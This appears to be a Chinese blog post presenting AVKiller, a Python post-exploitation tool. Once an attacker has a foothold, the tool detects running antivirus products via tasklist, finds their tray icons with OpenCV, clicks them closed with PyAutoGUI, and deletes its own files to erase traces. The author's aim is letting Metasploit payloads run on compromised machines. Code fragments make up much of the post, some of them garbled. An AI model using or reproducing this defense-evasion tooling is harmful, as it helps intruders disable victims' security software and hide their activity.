起因:
4月份的某一天,在玩内网渗透的时候,发现一些比较好的免杀工具的确能让木马对杀毒软件实现绕过,这种免杀工具的连接端大部分是MSF的,在MSF里面进行后渗透操作的时候,MSF会再向目标计算机发送可执行文件,这时可执行文件就不再免杀了,加入对方电脑上安装了杀毒软件的话,基本GG了,因为MSF原生的payload已经被各大杀软爆菊了,所以才萌生了自动关闭杀毒软件的想法!
昨天看到 S0cke3t巨佬的文章,才发现这个想法居然跟巨佬的差不多,这可能是我这长在这么大离巨佬思维最近的一次了。但是巨佬wmic和注册表操作是我没想到的,向巨佬学习~
功能实现
1. 识别杀软
为了实现自动识别杀毒软件的功能,首先要知道系统运行了哪些杀毒软件,CMD命令tasklist可以列出系统正在运行的进程,将其与已知的杀毒软件进行进行匹配即可,如果进程中有与av_process里的进程名,说明该电脑正在运行XX杀毒软件。这里需要做个判断,如果不存在杀毒软件的话,则退出该程序。
av_process = {'hr': 'HipsTray.exe', 'txgj': 'QQPCTray.exe', '360': '360sd.exe'}
def runningAVs():
tasklist = popen('tasklist').read().split()
for av_exe in av_process.values():
if av_exe in tasklist:
usingAV = [k for k, v in av_process.items() if v == av_exe][0]
return usingAV
图1 判断运行杀毒软件的函数
try:
AV = runningAVs()
print(AV)
# 将对应的logo写入
logo_b64 = b64_AV_logo[AV]
logo_img = base64.b64decode(logo_b64)
with open(logoImage, 'wb') as f:
f.write(logo_img)
# 输出通用的‘退出’字符串图片
with open(logoutImage, 'wb') as f:
f.write(base64.b64decode(b64_logout))
# 通过杀毒软件判断最后一步退出步骤应该使用的字样
if AV == r'hr':
return b64_logout
elif AV == r'360':
return b64_blue_comfirm
else:
return b64_white_comfirm
except :
print('主人,这家伙没开杀毒软件!!!!干他๑乛◡乛๑ ')
exit()
图2 不存在杀毒软件,程序退出,存在的话,将logo最为图片输出
2. 坐标获取
知道目标主机运行的程序后就需要准备关闭它了,这时候使用opencv的图像识别技术,找到目标(杀毒软件)logo在屏幕的位置,以坐标形式进行返回,用于对鼠标的定位。
def get_position(imgSource, imgTarget):
source = cv2.imread(imgSource, 0) # 0-灰度处理,防止颜色不同对定位产生影响
target = cv2.imread(imgTarget, 0)
wight, height = target.shape[::-1] # 获取图片长和宽,方便确定文字的中新坐标
res = cv2.matchTemplate(source, target, cv2.TM_CCOEFF_NORMED)
min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(res)
pos_x = int(max_loc[0] wight / 2)
pos_y = int(max_loc[1] height / 2)
# print(pos_x, pos_y)
return pos_x, pos_y
3. 鼠标操作
这是PyautoGUI库的功能,此程序用到的只是rightClick,Click功能,主要是利用opencv获取到的坐标,让鼠标进行移动到对应的位置,然后进行右击和点击操作。
4. 清理痕迹
活干完了,总不能抢前走人吧,至少得擦掉一些痕迹吧!由于需要多次通过图片对比来找到坐标,所以会在目标电脑里保存6张图片,所以当杀毒软件退出后,我们需要将其删除。CMD的del命令可以删除文件(不是移动到回收站,而是直接删除)
def clean():
popen(r'del /q {} {} {} {} {} {}'.format(logoutImage, logoImage, comfireImage,
screen_before,screen_logout, screen_logout))
5. Tips
a) 关于sleep:为什么需要sleep?
Pyautogui进行截屏操作的时候需要时间(100ms左右,电脑性能会导致时间长短不同),sleep时长跟电脑性能有关,如果目标主机性能足够好的话,可以适当减小sleep时长。
b) 关于图片存放位置:为什么不直接在当前目录下?
在当前目录下由于图片中有类似‘退出’、‘确认’字样,会被opencv识别,导致定位不准,所以必须保存在其他目录下
c) 关于打开右下角隐藏起的图标
Win B,再按一下空格键或者回车键
d) 关于图片保存
这一点我的思路跟巨佬相同,先将图片转为base64,需要用的时候再将其解码回来即可。而且重要的是,当进行渗透的时候,只需要上传一个文件!减少上传的文件数量!
成果展示
关闭360
关闭某管家
关闭某绒
该项目目前只是一个demo,还有很多需要优化的地方,比如opencv的识别细致度可能稍微较弱,可能导致有时候图像识别不够准确,也仅在个别地方做了异常处理。后续版本会处理以上问题。
源码地址:https://github.com/PDWR/AVKiller